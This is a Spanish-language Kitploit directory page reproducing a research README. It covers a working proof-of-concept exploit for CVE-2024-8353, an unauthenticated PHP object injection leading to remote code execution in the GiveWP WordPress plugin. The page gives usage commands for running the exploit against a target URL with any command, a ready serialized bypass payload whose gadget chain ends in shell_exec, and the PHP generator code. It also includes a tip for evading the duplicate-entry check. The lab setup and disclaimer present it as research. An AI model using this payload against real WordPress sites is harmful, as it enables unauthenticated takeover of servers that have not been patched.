Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-8353 — Exploit de inyección de objetos PHP en GiveWP | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2024-8353
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

Exploit de inyección de objetos PHP en GiveWP

Ver Repositorio
122hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Esta publicación es un artículo de investigación publicado por EQSTLab. Gracias a cuokon, quien descubrió esta vulnerabilidad.

Introducción

Análisis adicional de CVE-2024-5932 EQST Insight R&T(archivo PDF).

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 PoC de eliminación arbitraria de archivos y RCE ★

Descripción

CVE-2024-8353 : Vulnerabilidad de inyección de objetos PHP en GiveWP

descripción: El complemento givewp – plugin de donaciones y recaudación de fondos para WordPress es vulnerable a la inyección de objetos PHP en todas las versiones hasta la 3.16.1 inclusive, mediante la deserialización de entrada no confiable a través de varios parámetros como give_title y card_address. Esto permite que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena pop permite a los atacantes eliminar archivos arbitrarios y lograr ejecución remota de código. Esta es esencialmente la misma vulnerabilidad que CVE-2024-5932; sin embargo, se descubrió que la presencia de stripslashes_deep en user_info permite omitir la comprobación is_serialized. Este problema se corrigió en su mayor parte en la 3.16.1, pero se añadió mayor refuerzo en la 3.16.2.

Cómo usar

⚠️Al usar el PoC, solo puedes usar el mismo comando una vez porque “give_title” se almacena en la base de datos y se verifica la presencia de duplicados. En este caso, puedes usar algunos trucos de Linux, especialmente las comillas. Por ejemplo, si usas “echo”, puedes reutilizarlo escribiendo algo como “e‘’cho”.

Clonar con Git

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

Instalar paquetes

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Ejecución remota de código
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

Ejemplo

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Salida

CVE-2024-8353.py alt text alt text

Resultado

alt text

Entorno vulnerable

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Luego descargue el complemento GiveWP vulnerable:

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. Descomprima el archivo zip del complemento GiveWP y copie el archivo completo al directorio “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Active el complemento GiveWP

alt text

5. Agregue una nueva entrada con el complemento GiveWP y copie el enlace de la entrada

alt text

6. Compruebe el enlace vulnerable

alt text

Depuración con PHPSTORM

Puede depurar su GiveWP usando PHPSTORM.

1. Descargue xdebug en su WordPress (Docker):

root@kitploit:~
pecl install xdebug

2. Luego configure el archivo php.ini de WordPress así (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Y luego puede depurar su WordPress.

3. Configure PHPSTORM así (Local):

alt text alt text

4. Ejemplo de PHPSTORM (p. ej., eliminación arbitraria de archivos en TCPDF)

alt text

Análisis

Punto vulnerable (give/includes/process-donation.php)

Esencialmente, la secuencia es la misma que en CVE-2024-5932, con la diferencia de que la lógica “is_serialized” también se añade al parámetro “give_title”. El método determina que si no hay un signo : (dos puntos) en el índice 1, los datos no están serializados.

alt text

Después del método “is_serialized”, la función “stripslashes_deep” elimina la barra invertida. Por lo tanto, la barra invertida inicial () se elimina y los datos serializados se pasan.

alt text

Payload de omisión

root@kitploit:~
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

Encadenamiento POP para RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Devuelve la cadena de comando)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Escenario de ataque

RCE mediante cadena POP

La cadena POP permite la ejecución remota de comandos. alt text

url: https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

Aviso legal

Este repositorio no pretende ser un exploit de inyección de objetos para CVE-2024-8353. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.

EQST Insight

Publicamos análisis de CVE y malware una vez al mes. Si está interesado, siga los enlaces a continuación para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do

Descargar herramienta